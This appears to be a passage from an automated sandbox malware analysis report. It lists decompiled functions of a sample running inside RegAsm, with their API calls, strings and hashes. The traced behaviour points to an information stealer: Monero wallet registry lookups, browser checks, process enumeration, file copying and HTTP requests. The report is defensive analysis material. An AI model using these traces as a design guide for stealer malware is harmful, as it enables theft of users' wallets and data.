RegQueryValueExA.KERNEL32(00000000,CurrentBuildNumber,00000000,00000000,00000000,000000FF,?,?,?,0040FBC2,00410673,?,?,?,00414A17,00000000), ref: 0040FBA4

Strings

CurrentBuildNumber, xrefs: 0040FB9C

Memory Dump Source

Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3676486918-1022791448
Opcode ID: 5b1574023f8c3e93d255d4511c3bb41a2e12e83297ccb6591afc91b84a13fdcf
Instruction ID: 28640ec94ffd33d2c44419ba2cf0af880b9d8ee060d027bd97fbaf1b7c2936ad
Opcode Fuzzy Hash: 5b1574023f8c3e93d255d4511c3bb41a2e12e83297ccb6591afc91b84a13fdcf
Instruction Fuzzy Hash: C9F03076240214FBFB119BD1DC0BFAE7A7DEB45B04F101069F701A50A0D7B569409B28

Function 0040913E Relevance: 7.8, APIs: 5, Instructions: 274filestringCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00409143

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

Part of subcall function 00410B5C: _EH_prolog.MSVCRT ref: 00410B61
Part of subcall function 00410B5C: GetSystemTime.KERNEL32(?,00426498,00000001,000000C8,00000000,004265BA), ref: 00410BA1

Part of subcall function 0040FA9C: _EH_prolog.MSVCRT ref: 0040FAA1
Part of subcall function 0040FA9C: lstrlenA.KERNEL32(?,?,?,?,?,00417294,?,?,00426B18,?,00000000,004265C7), ref: 0040FAC9
Part of subcall function 0040FA9C: lstrcpy.KERNEL32(00000000), ref: 0040FAF0
Part of subcall function 0040FA9C: lstrcat.KERNEL32(?,?), ref: 0040FAFB

Part of subcall function 0040FA28: _EH_prolog.MSVCRT ref: 0040FA2D
Part of subcall function 0040FA28: lstrcpy.KERNEL32(00000000), ref: 0040FA79
Part of subcall function 0040FA28: lstrcat.KERNEL32(?,?), ref: 0040FA83

Part of subcall function 0040F9E1: lstrcpy.KERNEL32(00000000,?), ref: 0040FA1A

CopyFileA.KERNEL32(00000000,00000000,00000001,00000000,?,00000000,?,00425E0C,?,?,?,00425BF3,00000000), ref: 0040921D
lstrlenA.KERNEL32(00000000), ref: 004093E4
lstrlenA.KERNEL32(00000000), ref: 004093F8
DeleteFileA.KERNEL32(00000000), ref: 0040947A

Memory Dump Source

Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prologlstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 3423466546-0
Opcode ID: bfef4180e8e3876148cd5ce538e57db1d27edee7cd8a81a86ac191b16032c8c9
Instruction ID: 6a8509654029ecf25c00575de94dff416ad1a9dfa5c75539aeb624d08fba698f
Opcode Fuzzy Hash: bfef4180e8e3876148cd5ce538e57db1d27edee7cd8a81a86ac191b16032c8c9
Instruction Fuzzy Hash: 61B15A71904248EACB15EBE4D965BDDBBB4AF28308F54407EE406735C2DB782B0DDB26

Function 6C6DC930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6C6DC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C6DC969
GetSystemInfo.KERNEL32(?), ref: 6C6DC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C6DC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C6DC9E2

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 7b10c12b150b65128b5bb758dbc7213c85ab402017290b37de05157168d9f821
Instruction ID: 3106be2bbb62eecbeaa3708393ccff10b5b68346d1f23fae88d726054f81c405
Opcode Fuzzy Hash: 7b10c12b150b65128b5bb758dbc7213c85ab402017290b37de05157168d9f821
Instruction Fuzzy Hash: D421FF31741618BBD714BA24DC84BAE7379AB8670CF61412BF9079B680D7707C048799

Function 004102C3 Relevance: 7.6, APIs: 5, Instructions: 70processCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 004102C8

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00410303
Process32First.KERNEL32(00000000,00000128), ref: 00410314
Process32Next.KERNEL32(?,00000128), ref: 0041037C
CloseHandle.KERNEL32(?,?,00000000), ref: 00410389

Memory Dump Source

Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstH_prologHandleNextSnapshotToolhelp32lstrcpy
String ID:
API String ID: 599723951-0
Opcode ID: 3c5e1a4b5d184adccb3d47287da369a41380e06edb1f68eabc3b509b63f4a4a1
Instruction ID: 88ec815686b26defa928efc06cad103335915502f2ebb48a4a43328a16f3c0f2
Opcode Fuzzy Hash: 3c5e1a4b5d184adccb3d47287da369a41380e06edb1f68eabc3b509b63f4a4a1
Instruction Fuzzy Hash: 922109B1A00118ABCB10EFA5C955AEEFBB9AF98344F50407EE415F3291CB785A488B65

Function 004024D7 Relevance: 7.5, APIs: 5, Instructions: 39memorystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 004024F0

Part of subcall function 0040245C: memset.MSVCRT ref: 00402481
Part of subcall function 0040245C: CryptStringToBinaryA.CRYPT32(00000104,00000000,00000001,00000000,?,00000000,00000000), ref: 004024A7
Part of subcall function 0040245C: CryptStringToBinaryA.CRYPT32(00000104,00000000,00000001,?,?,00000000,00000000), ref: 004024C1

strcat.MSVCRT(?,00000000,?,?,00000000,00000104), ref: 00402505
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00402510
RtlAllocateHeap.NTDLL(00000000), ref: 00402517

Part of subcall function 00402308: ??_U@YAPAXI@Z.MSVCRT ref: 0040238D

memset.MSVCRT ref: 00402540

Memory Dump Source

Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: memset$BinaryCryptHeapString$AllocateProcessstrcat
String ID:
API String ID: 3248666761-0
Opcode ID: a641902682074bfb60fea3bc3b21c2ff598bd00ccde1354f0615c18b64d23653
Instruction ID: 5936fd312f401cb4099e43ed518250dd8d8a99da873d70e406837ce1c28814d2
Opcode Fuzzy Hash: a641902682074bfb60fea3bc3b21c2ff598bd00ccde1354f0615c18b64d23653
Instruction Fuzzy Hash: BCF044B6C0021CB7CB10BBA4DD49FCA777C9F14304F0000A6BA45F2081DAB497C4CBA4

Function 0040D6BB Relevance: 7.5, APIs: 2, Strings: 2, Instructions: 454COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0040D6C0

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

StrCmpCA.SHLWAPI(00000000,Opera GX,00425C1E,00425C1B,?,?,?), ref: 0040D70A

Part of subcall function 00410D21: SHGetFolderPathA.SHELL32(00000000,00425C93,00000000,00000000,?), ref: 00410D52

Part of subcall function 0040FA28: _EH_prolog.MSVCRT ref: 0040FA2D
Part of subcall function 0040FA28: lstrcpy.KERNEL32(00000000), ref: 0040FA79
Part of subcall function 0040FA28: lstrcat.KERNEL32(?,?), ref: 0040FA83

Part of subcall function 0040F9E1: lstrcpy.KERNEL32(00000000,?), ref: 0040FA1A

Part of subcall function 0040FA9C: _EH_prolog.MSVCRT ref: 0040FAA1
Part of subcall function 0040FA9C: lstrlenA.KERNEL32(?,?,?,?,?,00417294,?,?,00426B18,?,00000000,004265C7), ref: 0040FAC9
Part of subcall function 0040FA9C: lstrcpy.KERNEL32(00000000), ref: 0040FAF0
Part of subcall function 0040FA9C: lstrcat.KERNEL32(?,?), ref: 0040FAFB

Part of subcall function 0040F95A: lstrcpy.KERNEL32(00000000,okA), ref: 0040F980

Part of subcall function 00410CDD: _EH_prolog.MSVCRT ref: 00410CE2
Part of subcall function 00410CDD: GetFileAttributesA.KERNEL32(00000000,?,0040BAC2,?,00425C4E,?,?), ref: 00410CF6

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 0040A893: _EH_prolog.MSVCRT ref: 0040A898

Strings

Opera GX, xrefs: 0040D6F2
#, xrefs: 0040DBD3

Memory Dump Source

Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prolog$lstrcpy$lstrcat$AttributesFileFolderPathlstrlen
String ID: #$Opera GX
API String ID: 2625060131-1046280356
Opcode ID: 8438e43411761002320f3f9de9011d9594c7e5a89b65446c504462b94cd75c98
Instruction ID: 7bf8bd95af0ab130806eb85ed7196d5d1824f91eddb0a7e88fed5b384ee0e496
Opcode Fuzzy Hash: 8438e43411761002320f3f9de9011d9594c7e5a89b65446c504462b94cd75c98
Instruction Fuzzy Hash: 47027C7190424CEADF14EBE5D956BDEBBB8AF19308F10417EE405732C2DA781B0C8B66

Function 00413326 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 94stringCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0041332B
lstrlenA.KERNEL32(00000000), ref: 00413348
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0041340C

Strings

ERROR, xrefs: 00413406

Memory Dump Source

Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prologlstrlen
String ID: ERROR
API String ID: 2133942097-2861137601
Opcode ID: e21d3304088cc9bcdfe72a3d82c06255ec2a2465ab3062463e78c3a24b0dedec
Instruction ID: 1c592bd34475586d8bf3bdcea4321633edf8985e3e402502d8e97464bbd79d58
Opcode Fuzzy Hash: e21d3304088cc9bcdfe72a3d82c06255ec2a2465ab3062463e78c3a24b0dedec
Instruction Fuzzy Hash: 8C3152B1D00148AFDB00EFA9D956BDD7FB4AB15304F10807EF505A7292DB399648CBA5

Function 0041303A Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0041303F

Part of subcall function 0040F95A: lstrcpy.KERNEL32(00000000,okA), ref: 0040F980

Part of subcall function 00404F2A: _EH_prolog.MSVCRT ref: 00404F2F
Part of subcall function 00404F2A: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404F92
Part of subcall function 00404F2A: StrCmpCA.SHLWAPI(?), ref: 00404FA6
Part of subcall function 00404F2A: InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00404FC9
Part of subcall function 00404F2A: HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00404FFF
Part of subcall function 00404F2A: InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00405023
Part of subcall function 00404F2A: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040502E
Part of subcall function 00404F2A: HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 0040504C

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 0041309D

Strings

ERROR, xrefs: 0041308B
ERROR, xrefs: 004130C5

Memory Dump Source

Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: HttpInternet$H_prologOpenRequest$ConnectInfoOptionQuerySendlstrcpy
String ID: ERROR$ERROR
API String ID: 1120091252-2579291623
Opcode ID: 345aea7090713525bc43328569ab8dfd80e6ef4a38db32126cd76269f1d4eab7
Instruction ID: 0083d2e72e9c4a3b74dda565e39e4a0bb24369a5d23a76fc935ba894ca840aa9
Opcode Fuzzy Hash: 345aea7090713525bc43328569ab8dfd80e6ef4a38db32126cd76269f1d4eab7
Instruction Fuzzy Hash: 17210EB0900189EADB14FFA5C556BDDBBF4AF18308F50417EE80563682DB785B0CCB66

Function 00411001 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 28COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,2IA), ref: 00411019
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00411034
CloseHandle.KERNEL32(00000000), ref: 0041103B

Strings

2IA, xrefs: 0041100F

Memory Dump Source

Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID: 2IA
API String ID: 3183270410-4174278054
Opcode ID: 30d4ffeda736fd64e0374663d8f4d70df638ccef9048597482ecb454b1010210
Instruction ID: 8552e384592846dc61b773d54a0908cfb1ecd9fdbc452b9aa5e823a114c6ff4c
Opcode Fuzzy Hash: 30d4ffeda736fd64e0374663d8f4d70df638ccef9048597482ecb454b1010210
Instruction Fuzzy Hash: 85F03079905228BBEB60AB90DC49FDD3B78AB09715F000061BE85A61D0DBB4AAC4CBD4

Function 00414437 Relevance: 6.1, APIs: 4, Instructions: 76sleepsynchronizationthreadCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0041443C

Part of subcall function 00413460: _EH_prolog.MSVCRT ref: 00413465

Sleep.KERNEL32(000003E8,?,?,?,?,?,00000000), ref: 004144C0
CreateThread.KERNEL32(00000000,00000000,00413326,?,00000000,00000000), ref: 004144E2
WaitForSingleObject.KERNEL32(00000000,000003E8,?,00000000), ref: 004144EA

Memory Dump Source

Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prolog$CreateObjectSingleSleepThreadWait
String ID:
API String ID: 2678630583-0
Opcode ID: 1cb46bc23d17f687b51e131ae5113430bc73b21f4a29ab7455bec2179b617caf
Instruction ID: ec526774ace028d9da9643eeb35cca1a79bf063c44aba5694452f09cb0374c28
Opcode Fuzzy Hash: 1cb46bc23d17f687b51e131ae5113430bc73b21f4a29ab7455bec2179b617caf
Instruction Fuzzy Hash: 23310D75900148AFCB11DFA4C995ADEBBB8FF18304F50412EF906A7281DB789A88CB95

Function 00401000 Relevance: 6.0, APIs: 4, Instructions: 35memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00401CA7,80000001,SOFTWARE\monero-project\monero-core,wallet_path,?,00000000), ref: 00401014
HeapAlloc.KERNEL32(00000000,?,?,?,00401CA7,80000001,SOFTWARE\monero-project\monero-core,wallet_path,?,00000000), ref: 0040101B
RegOpenKeyExA.KERNEL32(000000FF,00000000,00000000,00020119,?,?,?,?,00401CA7,80000001,SOFTWARE\monero-project\monero-core,wallet_path,?,00000000), ref: 00401034
RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,00000000,000000FF,?,?,?,00401CA7,80000001,SOFTWARE\monero-project\monero-core,wallet_path,?,00000000), ref: 0040104D

Memory Dump Source

Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocOpenProcessQueryValue
String ID:
API String ID: 3676486918-0
Opcode ID: a27f42a190018756939c2a186fac89ee64236d1eb1bb3ceecf19bf94991bf119
Instruction ID: 832c21bd40a73018163515ce5beef45c93da2aa0da3d8997035a91abaf75a422
Opcode Fuzzy Hash: a27f42a190018756939c2a186fac89ee64236d1eb1bb3ceecf19bf94991bf119
Instruction Fuzzy Hash: E2F03A79240208FFEB119F91DC0AFAE7B7AEB45B40F104025FB01AA1A0D7B19A109B24

Function 0040FE18 Relevance: 6.0, APIs: 4, Instructions: 35memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000001,?,?,?,00414F3C,00000000,?,Processor: ,00000000,?,[Hardware],00000000,?,004266D4), ref: 0040FE2C
HeapAlloc.KERNEL32(00000000,?,?,?,00414F3C,00000000,?,Processor: ,00000000,?,[Hardware],00000000,?,004266D4,00000000,?), ref: 0040FE33
RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,00000000,?,?,?,00414F3C,00000000,?,Processor: ,00000000,?,[Hardware],00000000,?), ref: 0040FE51
RegQueryValueExA.KERNEL32(00000000,00000000,00000000,00000000,000000FF,?,?,?,00414F3C,00000000,?,Processor: ,00000000,?,[Hardware],00000000), ref: 0040FE6D

Memory Dump Source

Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocOpenProcessQueryValue
String ID:
API String ID: 3676486918-0
Opcode ID: 5a348dce4926add7b50cf3e1a3237f7deaf910ff3e5a2bc42b85e6f6daaeb5b6
Instruction ID: c6a06fe1a5752460b6d2ee94bc9516a9de2a98ba0b24791e6944b9a77995073e
